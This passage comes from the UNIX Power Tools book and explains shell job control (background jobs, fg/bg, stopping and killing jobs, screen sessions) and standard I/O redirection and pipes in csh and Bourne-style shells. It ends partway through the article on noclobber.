UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 11.16 Instead of Changing History Characters Chapter 12 Next: 12.2 Other Ways to Refer to Jobs

12. Job Control

Contents:
Job Control: Work Faster, Stop Runaway Jobs
Other Ways to Refer to Jobs
The "Current Job" Isn't Always What You Expect
Job Control and autowrite: Real Time Savers!
System Overloaded? Try Stopping Some Jobs
Notification When Jobs Change State
Stop Background Output with stty tostop
Job Control in a Nutshell
Running Multiple Shell Sessions with screen

12.1 Job Control: Work Faster, Stop Runaway Jobs

Multitasking, letting you run more than one program at a time, is one of the great things about UNIX. Before job control, though, you had to decide ahead of time whether you wanted to run a job in the foreground (on your screen) or in the background (where you couldn't touch the program except to terminate it before it finished).

The C shell - and other shells since it, including some new Bourne shells - have job control built into them. You can start and stop jobs, pop them in and out of the background, and more. Windowing systems, which let you have multiple terminal windows active on the screen at the same time, make this less essential. Still, there are some important areas where you'll get more productivity out of job control than from simply opening another window. This article is an introduction to job control - there's more to learn.

Job control takes more than a shell to work right: the UNIX kernel has to support it. Berkeley UNIX since BSD 4.0 has had job control, so most Berkeley-type UNIXes will have it, too. Most versions of UNIX System V before Release 4 did not have job control. If your UNIX doesn't support job control, you can still put a job in the background - see the last paragraph in this article.

12.1.1 Foreground and Background

UNIX distinguishes between foreground and background programs. This feature allows you to run several programs simultaneously from your terminal. When a program is running in the foreground, anything you type at the keyboard is sent to the program's standard input unless you have redirected it. As a result, you can't do anything else until the program finishes. When you run a program in the background, it is disconnected from the keyboard. Anything you type reaches the UNIX shell and is interpreted as a command. Therefore, you can run many programs simultaneously in the background. You can run only one program at a time in the foreground.

To run a program in the background, type an ampersand (&) at the end of the command line. For example:

% f77 program.F &
[1] 9145
%

This runs a FORTRAN compilation in the background, letting you continue other work while the compilation proceeds. The shell responds by printing a job number in brackets ([]), followed by the process identification (PID) number (38.3) for the command. It then prompts you for a new command. Entering the command jobs produces a short report describing all the programs you are executing in the background. For example:

% f77 program.F &
[1] 9145
% jobs
[1]     + Running       f77 program.F
%

To bring a program from the background into the foreground, use the foreground command, fg. If you have more than one background job, follow fg with a job identifier - a percent sign (%) followed by the job number:

% jobs
[1]     - Running       f77 program.F
[2]     + Stopped       vi sinus.F
% fg %1

The plus sign (+) in the report from jobs indicates which job will return to the foreground by default (12.3).

To suspend a job running in the foreground, press CTRL-z. [You can use this to stop most frozen or runaway programs until you figure out what to do next. Also, CTRL-z can stop programs that interrupt characters (5.9) like CTRL-c can't. -JP ]

Entering the background command, bg, lets a stopped program continue execution in the background. The foreground command, fg, restores this program to execution in the foreground. For example:

% f77 -o program program.F
[CTRL-z]
Stopped
% bg
[1]     + Running       f77 -o program program.F
%

There is no prompt after the f77 command because the compiler is running in the foreground. After you press CTRL-z, the shell prints the word "Stopped" to indicate that it has stopped execution. At this point, you can enter any command; the bg command lets the job continue executing in the background. This feature is useful if you forget to type an & at the end of the command line or if you decide to do something else while the job is running.

To terminate a background job, you can use the command's job number rather than its PID number, as follows:

% kill %1

If you omit it, UNIX interprets the job number as a process number. This will probably be the process number of some operating system function. UNIX will not let you make such a mistake unless you are superuser (1.24). If you are superuser, the command is fatal. You may be superuser from time to time and therefore should not develop sloppy habits.

In the next few seconds, press RETURN a few times. You should see the message:

[1]  Terminated    f77 -o program program.F

If you don't see that, use the jobs command to check whether the job is still running. If it's still running, use the -9 option as a last resort:

% kill -9 %1
[1]  Killed        f77 -o program program.F

The -9 option doesn't give the process a chance to clean up its temporary files and exit gracefully, so don't use it unless you need to.

A program running in the background cannot read input from a terminal. If a background job needs terminal input, it will stop; the jobs command will print the message Stopped (tty input). Before the program can continue, you must bring it into the foreground with the fg command and type the required input. You can save yourself this trouble by redirecting the program's input so that it reads all its data from a file. You may also want to redirect standard output and standard error. If you don't, any output the program produces will appear on your terminal (unless you've used stty tostop (12.7)). Since you will probably be using other commands, having miscellaneous data and other messages flying across your terminal may be confusing.

On systems and shells without job control features, an & will start a command in the background. It is impossible to move a job from the foreground to the background or vice versa. The ps (38.5) command is the only tool available for determining what background jobs you have running.

- ML from O'Reilly & Associates' UNIX for FORTRAN Programmers, Chapter 1

Previous: 11.16 Instead of Changing History Characters | UNIX Power Tools | Next: 12.2 Other Ways to Refer to Jobs
11.16 Instead of Changing History Characters | Book Index | 12.2 Other Ways to Refer to Jobs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 12] 12.2 Other Ways to Refer to Jobs

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 12.1 Job Control: Work Faster, Stop Runaway Jobs Chapter 12
Job Control 		Next: 12.3 The "Current Job" Isn't Always What You Expect

12.2 Other Ways to Refer to Jobs

If you have several jobs in the background, you can refer to them by job number, as listed by the jobs (12.1) command. For example:

% jobs
[1]  + Stopped              vi TODO
[2]  - Running              nroff -ms ch01
% kill %2
% fg %1

You don't need to look up the job number to select a job, though. Instead, you can specify a job by name. Simply specify the command name instead of the job number after the percent sign. For example, the commands above could have been issued as:

% kill %nroff
% fg %vi

If you use %?, you can specify any unique part of the job's command line. What the manual fails to point out is that if you do this, you may need to quote (8.14) the question mark, since it's also a shell wildcard. If you don't, you may get the message No match. You could type one of the following commands:

% kill %?ch01   No quoting (normal)
% kill %\?ch01   Quoted (in some cases)

to kill the nroff job shown in the example above.

There are a couple of other shortcuts as well. A job number by itself is the same as the fg command followed by that job number. Why type:

% fg %3

when:

% %3

will do?

You can put a stopped job into the background in a similar way. For example:

% %2 &

will put job number 2 into the background.

Of course, it's also true that typing fg or bg without a job number can save you time if there is only one job, or if you want to refer to the current job.

The only problem is that the current job isn't always what you expect (12.3).

- TOR

Previous: 12.1 Job Control: Work Faster, Stop Runaway Jobs | UNIX Power Tools | Next: 12.3 The "Current Job" Isn't Always What You Expect
12.1 Job Control: Work Faster, Stop Runaway Jobs | Book Index | 12.3 The "Current Job" Isn't Always What You Expect
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 12] 12.3 The "Current Job" Isn't Always What You Expect

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 12.2 Other Ways to Refer to Jobs Chapter 12
Job Control 		Next: 12.4 Job Control and autowrite: Real Time Savers!

12.3 The "Current Job" Isn't Always What You Expect

% is the "current" stopped or background job, but not always the last one. If you've stopped any jobs, the current job is the most recently stopped job. Otherwise, it's the most recent background job. For example, try stopping your editor (like vi), then putting another job in the background:

sleep

% vi afile
[CTRL-z]
Stopped
% sleep 1000 &
[2] 12345
% fg

and notice that the fg brings your editor to the foreground.

- JP

Previous: 12.2 Other Ways to Refer to Jobs | UNIX Power Tools | Next: 12.4 Job Control and autowrite: Real Time Savers!
12.2 Other Ways to Refer to Jobs | Book Index | 12.4 Job Control and autowrite: Real Time Savers!
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 12] 12.4 Job Control and autowrite: Real Time Savers!

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 12.3 The "Current Job" Isn't Always What You Expect Chapter 12
Job Control 		Next: 12.5 System Overloaded? Try Stopping Some Jobs

12.4 Job Control and autowrite: Real Time Savers!

I see too many people using a series of commands like the ones that follow. Programmers do this when they write and compile programs. Writers use this when they're making a draft file and running it through the formatter. They're probably wasting a lot of time and effort:

% vi somefile
   ...Edit somefile, then quit vi...
% someprog somefile
   ...Process somefile...
% vi somefile
   ...Edit somefile again...
% someprog somefile
   ...Process somefile again...

Each time they restart vi, they have to reset options and move the cursor to the place they were working before. After they restart, vi has forgotten the previous search (the n command), the previous action (the . command), the previous regular expression, the named and numbered buffers...

If your system has job control (12.8), that'll solve all these problems. [1] Instead of quitting vi, get into command mode and write your buffer with the :w command. Stop the editor with the CTRL-z command. Then, process the file. When you're ready to do more editing, bring your vi job back into the foreground with fg. The editor will be just where it was.

[1] If it doesn't, you can still use a shell escape (30.26).

Even better, you can set vi's option called autowrite. If you've made any changes to the buffer before you press CTRL-z, vi will automatically write the buffer. You won't need to remember to type :w before you stop the editor. You can set autowrite at a colon (:) prompt, but I set it in my .exrc file (30.6) instead.

[You don't absolutely have to write your file before suspending vi. It's a good piece of advice, but not required by the job control mechanism. Typing CTRL-z will suspend the editor whether you've written out your files or not. -TOR ]

- JP

Previous: 12.3 The "Current Job" Isn't Always What You Expect | UNIX Power Tools | Next: 12.5 System Overloaded? Try Stopping Some Jobs
12.3 The "Current Job" Isn't Always What You Expect | Book Index | 12.5 System Overloaded? Try Stopping Some Jobs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 12] 12.5 System Overloaded? Try Stopping Some Jobs

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 12.4 Job Control and autowrite: Real Time Savers! Chapter 12
Job Control 		Next: 12.6 Notification When Jobs Change State

12.5 System Overloaded? Try Stopping Some Jobs

If your computer is barely crawling, you can kill (38.10) some processes... but you'll have to start them again later. On a Berkeley system, you can renice (39.11) the processes... but you won't be able to raise the priority again later, after the system speeds up, unless you're the superuser (1.24).

If you don't need your results right away (and you won't get them, anyway, if the system is crawling!), try stopping some jobs. The best candidates are "CPU-eaters" like formatters (43.12), compilers (52.8), and any job that runs up a lot of time quickly in the ps (38.5) or time (39.2) reports. Start them again, later, and the jobs will take up where they left off.

If the job is in the foreground, just press CTRL-z (12.1) to stop it. If the job is running in the background and you're running csh or tcsh, use the shell's stop command with a job identifier - for example, stop %3 or stop %cc.

On other shells - even shells without job control (!) - you can use kill (38.10) with the -STOP signal and either the job number or process ID number. csh and tcsh have a stop command that does this for you. On other shells, if you'd like, you can add an alias named stop to the shell setup file (2.2). Later, put the job back into the background with bg, or into the foreground with fg. For example:

bash$ alias stop='kill -STOP'
bash$ jobs
[1]+  Running                 g++ hugeprog.cc &
bash$ stop %1
[1]+  Stopped (signal)        g++ hugeprog.cc
    ...later...
bash$ bg %1
[1]+ g++ hugeprog.cc &

- JP

Previous: 12.4 Job Control and autowrite: Real Time Savers! | UNIX Power Tools | Next: 12.6 Notification When Jobs Change State
12.4 Job Control and autowrite: Real Time Savers! | Book Index | 12.6 Notification When Jobs Change State
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 12] 12.6 Notification When Jobs Change State

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 12.5 System Overloaded? Try Stopping Some Jobs Chapter 12
Job Control 		Next: 12.7 Stop Background Output with stty tostop

12.6 Notification When Jobs Change State

Normally, the shell tells you about changes to your background jobs whenever it prints its prompt. That is, when you do something that makes the shell give you a prompt, you'll get a message like:

[1]  + Stopped (tty input)   rm -r
%

This message tells you that the rm -r command, which you're running in the background, needs input; it has probably asked you whether or not to delete a read-only file, or something similar.

This default behavior is usually what you want. By waiting until it prints a prompt, the shell minimizes "damage" to your screen. If you want to be notified immediately when a job changes state, you should set the variable notify:

% set notify   ...C shell

$ set -o notify   ...bash

The drawback, of course, is that you may be analyzing a screenful of output that you've laboriously constructed, only to have that screen "destroyed" by a lot of messages from the shell. Therefore, most users prefer to leave notify off (unset). To stop all background output, use stty tostop (12.7).

- ML

Previous: 12.5 System Overloaded? Try Stopping Some Jobs | UNIX Power Tools | Next: 12.7 Stop Background Output with stty tostop
12.5 System Overloaded? Try Stopping Some Jobs | Book Index | 12.7 Stop Background Output with stty tostop
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 12] 12.7 Stop Background Output with stty tostop

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 12.6 Notification When Jobs Change State Chapter 12
Job Control 		Next: 12.8 Job Control in a Nutshell

12.7 Stop Background Output with stty tostop

If you put a job in the background (1.26) and don't redirect (13.1) its output, text that the job writes to its standard output and standard error will come to your screen. Those messages can mess up the screen while you're using another program. You could lose the (maybe important) messages, too - they might scroll off your screen and be lost, or your foreground program may clear the screen and erase them.

Most BSD UNIX systems, and a lot of newer UNIXes with job control, have the command stty tostop. Type that command at a prompt, or put it in your .login or .profile file (2.1).* [2] After that, your shell's background jobs that try to write to your terminal will be stopped. When you want to see the background job's output, bring it into the foreground (with fg).

[2] *This command sets the UNIX terminal device driver (42.1) for all processes started on it. You don't need to set this for subshells (2.2).

How will you know that the background job has been stopped? The shell will print a message like this just before it prints a prompt:

[1] + Stopped (tty output)    somejob
%

The shell can also interrupt your foreground job with that message as soon as the background job is stopped. To make it do that, set notify (12.6).

You can turn off this feature and let background jobs write to your terminal any time with the command:

% stty -tostop

Article 41.2 has more about stty.

- JP

Previous: 12.6 Notification When Jobs Change State | UNIX Power Tools | Next: 12.8 Job Control in a Nutshell
12.6 Notification When Jobs Change State | Book Index | 12.8 Job Control in a Nutshell
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 12] 12.8 Job Control in a Nutshell

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 12.7 Stop Background Output with stty tostop Chapter 12
Job Control 		Next: 12.9 Running Multiple Shell Sessions with screen

12.8 Job Control in a Nutshell

Unless otherwise noted, these commands apply only to the C shell, Korn shell, and bash:

  • command & (1.26, 12.1): Run command in the background. You can continue to execute jobs in the foreground. All shells.

  • CTRL-c (38.9): Kill the current foreground job by sending the INTR signal (38.8). All shells.

  • CTRL-z (12.1, 12.4): Suspend the current foreground job by sending the TSTP signal (38.8).

  • Suspend a shell with the suspend command (22.22).

  • Suspend a background job with the stop command or an alias that does the same thing (12.5).

  • bg %num (12.1): Let a stopped job (by job number num) continue in the background.

  • fg %num (12.1): Put a background job or a stopped job (by job number num) into the foreground.

  • kill %num (12.1): Kill an arbitrary background job (by job number num).

  • kill pid (38.10): Kill an arbitrary job (by process ID number num). All shells.

  • jobs (12.1): List background and stopped jobs and their job numbers.

  • set notify (12.6): Immediate job-state change notices.

  • stty tostop (12.7): Automatically stop background processes if they try writing to the screen.

- ML

Previous: 12.7 Stop Background Output with stty tostop | UNIX Power Tools | Next: 12.9 Running Multiple Shell Sessions with screen
12.7 Stop Background Output with stty tostop | Book Index | 12.9 Running Multiple Shell Sessions with screen
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 12] 12.9 Running Multiple Shell Sessions with screen

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 12.8 Job Control in a Nutshell Chapter 12
Job Control 		Next: 13. Redirecting Input and Output

12.9 Running Multiple Shell Sessions with screen

screen
An interesting alternative to job control (12.1) is the screen program, which lets you run several shell sessions from the same terminal, switching between them at will.

For example, often when I'm logged in I want to reply to a mail message (1.33) but I need to test something first. Currently, I have to get out of mail to do it, or start a shell escape (30.26) within mail. But using the screen program, I could just switch back and forth between shells. I could run mail in one shell, test things in another, edit a file in a third, etc.-up to 10 shells in all. (If you run Linux, you can choose from eight virtual consoles by using the [ALT] key with one of the keys [F1] through [F8]. But that still doesn't have all the nice features of screen.)

Once you start up screen, a full screen disclaimer appears (which can be disabled by configuring $HOME/.screenrc). After pressing SPACE or RETURN, you'll be placed in an initial shell with your usual system prompt. This shell is screen number 0.

Screen 0

I can use this shell to read my mail.

lmui@ruby 26% mail
Mail version SMI 4.0 Wed Oct 23 10:38:28 PDT 1991  Type ? for help.
"/usr/spool/mail/lmui": 42 messages 6 new
   ...
 N 38 kramer   Wed Oct 28 10:31   20/654   Posting on comp.unix.que

 N 39 tim      Wed Oct 28 10:46   39/1485  Re: awf
 N 40 tim      Wed Oct 28 10:47   26/832   Re: announcement of vol8
&

Now, suppose I read a mail message asking my opinion about a news posting. Rather than get out of mail to read news before I respond, I can just start a new shell using CTRL-a CTRL-c and start up a news reader there. This new window is screen number 1.

Screen 1

lmui@ruby 26% rn comp.unix.questions
Unread news in comp.unix.questions                    333 articles

******** 333 unread articles in comp.unix.questions-read now? [ynq]

Once I read the article in question, I switch back to the previous shell using CTRL-a CTRL-a and start to respond to the mail message:

Screen 0

>  38 kramer    Wed Oct 28 10:31   20/654   Posting on comp.unix.que
 N 39 tim       Wed Oct 28 10:46   39/1485  Re: awf
 N 40 tim       Wed Oct 28 10:47   26/832   Re: announcement of vol8
& r
To: kramer@ora.com
Subject: Re: Posting on comp.unix.questions

He's right that you can use -i for interactive prompting, but
I don't think -f disables interactive mode.

Now, suppose I want to check my facts before I continue writing the message. Rather than quit my message or start a subshell, I can just start up yet another shell window by pressing CTRL-a CTRL-c again. Then I can run the commands I want to test. Once I have my information, I can go back to the previous shell using CTRL-a CTRL-a again, or using CTRL-a 0 to explicitly call up screen number 0.

One of the really neat things about screen is that it even lets you "detach" a screen, so that you can log out, then go home and pick up where you left off, using a different terminal (3.7).

- LM

Previous: 12.8 Job Control in a Nutshell | UNIX Power Tools | Next: 13. Redirecting Input and Output
12.8 Job Control in a Nutshell | Book Index | 13. Redirecting Input and Output
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] Redirecting Input and Output

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 12.9 Running Multiple Shell Sessions with screen Chapter 13 Next: 13.2 One Argument with a cat Isn't Enough

13. Redirecting Input and Output

Contents:
Using Standard Input and Output
One Argument with a cat Isn't Enough
Send (only) Standard Error Down a Pipe
Problems Piping to a Pager
Redirection in C Shell: Capture Errors, Too?
Safe I/O Redirection with noclobber
The () Subshell Operators
Using {list} to Group Bourne Shell Commands
Send Output Two or More Places with tee
How to tee Several Commands Into One File
tpipe-Redirecting stdout to More than One Place
Writing to Multiple Terminals for Demonstrations
The "Filename" -
What Can You Do with an Empty File?
What to Do with a Full Bit Bucket :-)
Store and Show Errors with logerrs

13.1 Using Standard Input and Output

There is absolutely no difference between reading data from a file and reading data from a terminal. [1] Likewise, if a program's output consists entirely of alphanumeric characters and punctuation, there is no difference between writing to a file, writing to a terminal, and writing to the input of another program (as in a pipe).

[1] If a program's input consists entirely of alphanumeric characters and punctuation (i.e., ASCII data or international (non-English) characters).

The standard I/O facility provides some simple defaults for managing Input/Output. There are three default I/O streams: standard input, standard output, and standard error. By convention, standard output (abbreviated stdout) consists of all "normal" output from your program, while standard error (stderr) consists of error messages. It is often a convenience to be able to handle error messages and standard output separately. If you don't do anything special, programs will read standard input from your keyboard, and they will send standard output and standard error to your terminal's display.

Standard input (stdin) normally comes from your keyboard. Many programs ignore stdin; you name files directly on their command line - for instance, the command cat file1 file2 never reads its standard input; it reads the files directly. But, without filenames on the command line, UNIX commands that need input will usually read stdin. Standard input normally comes from your keyboard, but the shell can redirect stdin from a file. This is handy for UNIX commands that can't open files directly - for instance, mail (1.33). To mail a file to joan, use < filename-to tell the shell to attach the file, instead of your keyboard, to mail's standard input:

% mail joan < myfile

The real virtue of standard I/O is that it allows you to redirect input or output away from your terminal to a file. As we said, UNIX is file-based (1.29). Because terminals and other I/O devices are treated as files, a program doesn't care or even know [2] if it is sending its output to a terminal or to a file. For example, if you want to run the command cat file1 file2, but you want to place the output in file3 rather than sending it to your terminal, give the command:

[2] A program can find out.

% cat file1 file2 > file3

This is called redirecting standard output to file3. If you give this command and look at file3 afterward, you will find the contents of file1, followed by file2-exactly what you would have seen on your screen if you omitted the > file3 modifier.

One of the best-known forms of redirection in UNIX is the pipe. The shell's vertical bar (|) operator makes a pipe. For example, to send both file1 and file2 together in a mail message for joan, type:

% cat file1 file2 | mail joan

The pipe says "connect the standard output of the process at the left (cat) to the standard input of the process at the right (mail)."

Article 45.20 has diagrams and more information about standard I/O and redirection. Table 13.1 shows the most common ways of redirecting standard I/O, for both the C shell and the Bourne shell.

Table 13.1: Common Standard I/O Redirections
Function | csh | sh
Send stdout to file | prog > file | prog > file
Send stderr to file |  | prog 2> file
Send stdout and stderr to file | prog >& file | prog > file 2>&1
Take stdin from file | prog < file | prog < file
Send stdout to end of file | prog >> file | prog >> file
Send stderr to end of file |  | prog 2>> file
Send stdout and stderr to end of file | prog >>& file | prog >> file 2>&1
Read stdin from keyboard until c (see article 8.18) | prog <<c | prog <<c
Pipe stdout to prog2 | prog | prog2 | prog | prog2
Pipe stdout and stderr to prog2 | prog |& prog2 | prog 2>&1 | prog2

Be aware that:

  • While standard I/O is a basic feature of UNIX, the syntax used to redirect standard I/O depends on the shell you are using. Bourne shell syntax and C shell syntax differ, particularly when you get into the less commonly used features. The Korn shell and bash are the same as the Bourne shell, but with a few twists of their own.

  • You can redirect standard input and standard output in the same command line. For example, to read from the file input and write to the file output, give the command:

    % prog < input > output

    The Bourne shell will let you go further and write stderr to a third file:

    $ prog < input > output 2> errors

  • The C shell doesn't give you an easy way to redirect standard output without redirecting standard error. A simple trick will help you do this. To put standard output and standard error in different files, give a command like:

    % ( prog > output ) >& errors

    We'll discuss commands like this in articles 13.3 and 13.5.

  • Many implementations of both shells don't care what order the redirections appear in, or even where they appear on the command line. For example, SunOS lets you type < input > output prog. However, clarity is always a virtue that computer users have never appreciated enough. It will be easiest to understand what you are doing if you type the command name first - then redirect standard input, followed by standard output, followed by standard error.

There are some more complex forms of standard I/O redirection,particularly for the Bourne shell . (45.21, 45.22, 45.23)

Of course, programs aren't restricted to standard I/O. They can open other files, define their own special-purpose pipes, and write directly to the terminal. But standard I/O is the glue that allows you to make big programs out of smaller ones, and is therefore a crucial part of the operating system. Most UNIX utilities read their data from standard input and write their output to standard output, allowing you to combine them easily. A program that creates its own special-purpose pipe may be very useful, but it cannot be used in combination with standard utilities.

Some UNIX systems, and utilities such as gawk (33.12), support special filenames like /dev/stdin, /dev/stdout, and /dev/stderr. You can use these just as you'd use other files. For instance, to have any ordinary command read from the file afile, then standard input (from the keyboard, for example), then the file bfile:

% somecmd afile /dev/stdin bfile

In the same way, a process can write to its standard output through /dev/stdout and the standard error via /dev/stderr.

- ML, JP

Previous: 12.9 Running Multiple Shell Sessions with screen | UNIX Power Tools | Next: 13.2 One Argument with a cat Isn't Enough
12.9 Running Multiple Shell Sessions with screen | Book Index | 13.2 One Argument with a cat Isn't Enough
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] 13.2 One Argument with a cat Isn't Enough

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 13.1 Using Standard Input and Output Chapter 13
Redirecting Input and Output 		Next: 13.3 Send (only) Standard Error Down a Pipe

13.2 One Argument with a cat Isn't Enough

What's wrong with this command line?

cat
% cat filename | tr -d '\015' > newfile

As Tom Christiansen wrote in a Usenet article:

A wise man once said: if you find yourself calling cat with just one argument, then you're probably doing something you shouldn't.

That command line only uses cat to feed the file to the standard input of tr. It's a lot more efficient to have the shell do the redirection for you with its < character (13.1):

% tr -d '\015' < filename > newfile

- JP, TC

Previous: 13.1 Using Standard Input and Output | UNIX Power Tools | Next: 13.3 Send (only) Standard Error Down a Pipe
13.1 Using Standard Input and Output | Book Index | 13.3 Send (only) Standard Error Down a Pipe
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] 13.3 Send (only) Standard Error Down a Pipe

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 13.2 One Argument with a cat Isn't Enough Chapter 13
Redirecting Input and Output 		Next: 13.4 Problems Piping to a Pager

13.3 Send (only) Standard Error Down a Pipe

A vertical bar character (|) on a command line pipes the standard output of a process to another process. How can you pipe the standard error, not the standard output? You might want to put a long-running cruncher command in the background, save the output to a file, and mail yourself a copy of the errors. In the C shell, run the command in a subshell (13.7). The standard output of the command is redirected inside the subshell. All that's left outside the subshell is the standard error; the |& operator (13.5) redirects it (along with the empty standard output) to the mail (1.33) program:

% (cruncher > outputfile) |& mail yourname &
[1] 12345

Of course, you don't need to put that job in the background (1.26). If you want the standard output to go to your terminal instead of a text file, use /dev/tty (45.20) as the outputfile.

The Bourne shell gives you a lot more flexibility and lets you do just what you need. The disadvantage is the more complicated syntax (45.21). Here's how to run your cruncher program, route the stderr through a pipe to the mail program, and leave stdout going to your screen:

$ (cruncher 3>&1 1>&2 2>&3 3>&-) | mail yourname &
12345

To redirect stdout to an output file and send stderr down a pipe, try this:

$ (cruncher 3>&1 >outputfile 2>&3 3>&-) | mail yourname &
12345

- JP

Previous: 13.2 One Argument with a cat Isn't Enough | UNIX Power Tools | Next: 13.4 Problems Piping to a Pager
13.2 One Argument with a cat Isn't Enough | Book Index | 13.4 Problems Piping to a Pager
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] 13.4 Problems Piping to a Pager

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 13.3 Send (only) Standard Error Down a Pipe Chapter 13
Redirecting Input and Output 		Next: 13.5 Redirection in C Shell: Capture Errors, Too?

13.4 Problems Piping to a Pager

If your window onto UNIX (terminal, X window, communications program, whatever) doesn't have a way to show you the previous screenful, using a pager program like more (25.3), pg, or less (25.4) can be mighty handy. But piping to a pager doesn't always work the way you want it to.

Here's a grep command line that searches several files. What's wrong with it?

% grep "^set" */.cshrc | more

That wasn't a fair question because you can't tell what's wrong. The problem (it turns out) is that the files named barney/.cshrc, edie/.cshrc, and gail/.cshrc are read-protected (22.2). But, as the first part of Figure 13.1 shows, the error messages scroll off your screen and the pager doesn't stop them.

Figure 13.1: Standard Error Bypassing Pipe, Going Through Pipe

Unless your display is reallllly sloooowww, the error messages are lost and you never know they were there. Or the errors are jumbled up with the "good" grep output. That's because you've told the shell to send only the standard output of grep to the pager program. And grep writes its errors to the standard error ! (45.20) But both stdout and stderr go to the screen at once. The errors on stderr scroll away with the output from the pager. The pager can't count the lines of errors so it outputs a complete screenful of stdout (the "good stuff"). If grep's standard output (from the files it could read) is at least a screenful, as it is here, there are too many lines to fit on the screen-and some lines will scroll off.

The better way to do this is to combine grep's stdout and stderr and give them both to the pager. These command lines (in csh and sh) both do that:

% grep "^set" */.cshrc |& more $ grep "^set" */.cshrc 2>&1 | more

The second part of Figure 13.1 shows how this works. Any time I pipe a command's output to a pager, I usually combine the stdout and stderr this way.

- JP

Previous: 13.3 Send (only) Standard Error Down a Pipe | UNIX Power Tools | Next: 13.5 Redirection in C Shell: Capture Errors, Too?
13.3 Send (only) Standard Error Down a Pipe | Book Index | 13.5 Redirection in C Shell: Capture Errors, Too?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] 13.5 Redirection in C Shell: Capture Errors, Too?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 13.4 Problems Piping to a Pager Chapter 13
Redirecting Input and Output 		Next: 13.6 Safe I/O Redirection with noclobber

13.5 Redirection in C Shell: Capture Errors, Too?

The > (right angle bracket) operator redirects the standard output of a process to a file. It doesn't affect the standard error. If you're logged in and can see any messages written to standard error, that's okay:

% nroff -ms report.ms > report.out &
[1] 10316
   ...Later...
nroff: can't open file /hoem/jpeek/report.data

But if you log out and leave the job running, you'll never see those errors unless you use the csh operator >&. It redirects both standard output and standard error to a file. For example:

make

% make >& make.output &
[1] 10329
% logout
   ...Later...
% cat make.output
        cc -O -c random.c
        cc -O -c output.c
"output.c", line 46: syntax error
"output.c", line 50: time_e undefined
"output.c", line 50: syntax error
   ...

You might also use the >& operator while you're logged in - and watch the output file with tail -f (25.16). If you don't want the errors mixed with other output, you can split them to two files; see article 13.1.

The C shell also has a pipe operator, |&, that redirects both standard output and standard error. It's great for running a job in the background, or on another computer, and mailing (1.33) any output to me:

% make |& mailx -s "'make bigprog' output" jpeek@jpeek.com &
[1] 29182 29183

If I'd used plain | instead of |&, any text on the standard error wouldn't go into the mail message.

- JP

Previous: 13.4 Problems Piping to a Pager | UNIX Power Tools | Next: 13.6 Safe I/O Redirection with noclobber
13.4 Problems Piping to a Pager | Book Index | 13.6 Safe I/O Redirection with noclobber
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] 13.6 Safe I/O Redirection with noclobber

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 13.5 Redirection in C Shell: Capture Errors, Too? Chapter 13
Redirecting Input and Output 		Next: 13.7 The () Subshell Operators

13.6 Safe I/O Redirection with noclobber

Have you ever destroyed a file accidentally? If you set the noclobber C shell variable, or the noclobber option in bash and ksh, it can help you avoid these mistakes. Setting noclobber prevents you from destroying a file when you are redirecting standard output (13.1).

Consider the following situation:

% anycommand > outputfile

The command above destroys the old outputfile and creates a new one. If you have misspelled the name of your output file, or if you have forgotten that the file already exists and contains important data, or (most common) if you really meant to type >> instead of > (i.e., if you really meant to append to the end of outputfile, rather than start a new one), tough luck; your old data is gone.

